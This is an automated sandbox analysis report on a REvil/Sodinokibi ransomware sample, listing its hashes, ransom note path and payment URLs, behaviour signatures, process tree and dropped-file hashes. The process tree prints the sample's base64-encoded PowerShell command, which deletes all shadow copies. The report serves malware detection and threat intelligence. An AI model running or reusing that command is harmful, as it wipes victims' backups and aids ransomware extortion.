Analysis
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max time kernel
103s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20250314-en -
resource tags
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submitted
23/03/2025, 03:28
General
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Target
2025-03-23_561ab11981e5132b6b1a724762ccf77c_revil.exe
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Size
164KB
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MD5
561ab11981e5132b6b1a724762ccf77c
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SHA1
320a039b66f1192e4f654fb213afd7c75852a35b
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SHA256
1e962caa271bccb44def63a5b037dd867bc87dcad038e5279b8e64a248fda23c
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SHA512
8e3e0697bf3e74830c8a283247850097c21e998ccc32ca73471a9d97523fc3e7ceeed40d9417a31b6a46c9bb6ad75b9ed3d738580d5037b039f2dd2235eb70ac
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SSDEEP
3072:70XoUeZ/DVS8L7flcMTeYWik3LvFflPE51TkT:7eoUeZRlcYxWVTFf1E3+
Malware Config
Extracted
C:\Program Files (x86)\5rla5-readme.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C506E3D2266DE50E
http://decryptor.top/C506E3D2266DE50E
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Sodinokibi family
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Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
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Sets desktop wallpaper using registry 2 TTPs 1 IoCs
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Drops file in Program Files directory 35 IoCs
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 4 IoCs
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Suspicious use of AdjustPrivilegeToken 5 IoCs
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Suspicious use of WriteProcessMemory 2 IoCs
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\2025-03-23_561ab11981e5132b6b1a724762ccf77c_revil.exe"C:\Users\Admin\AppData\Local\Temp\2025-03-23_561ab11981e5132b6b1a724762ccf77c_revil.exe"1⤵
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
6KB
MD57b45de8bf8fa51410e2a47d1d9689756
SHA146a0fba9f3f8f91018e550be0ba826f115a76aad
SHA2564d69b051822e8ef37b6847c41399feb28439f49b27ce5b37e2a117a6dc4f6b36
SHA5128169d727060302d0fa452440931e5c7959aeb878f975e7c7c8a8f987fef1abcf6701ae198b75d837f622eb0e0983451d2c286da4b29d0fef12a50d303af953ca
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
8KB
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Filesize
136KB
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Filesize
10.8MB
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Filesize
10.8MB
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Filesize
10.8MB